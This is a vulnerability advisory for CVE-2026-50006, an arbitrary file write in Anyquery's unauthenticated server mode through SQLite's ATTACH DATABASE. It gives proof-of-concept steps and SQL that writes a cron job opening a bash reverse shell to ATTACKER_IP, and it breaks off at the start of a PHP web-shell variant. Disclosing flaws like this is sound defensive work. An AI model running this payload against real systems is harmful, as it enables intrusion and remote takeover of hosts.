CVE-2026-50006
Summary
Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).
Details
When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.
An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.
PoC (Proof of Concept)
1. Start the server on the victim machine:
anyquery server --host 0.0.0.0 --port 8070
2. Connect from an attacker machine:
mysql -u root -h <VICTIM_IP> -P 8070
3. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as /etc/cron.d or /var/spool/cron/crontabs/):
ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;
CREATE TABLE pwn.task (cmd TEXT);
INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');
*Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*
ATTACH DATABA
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Advisory coverage (1)
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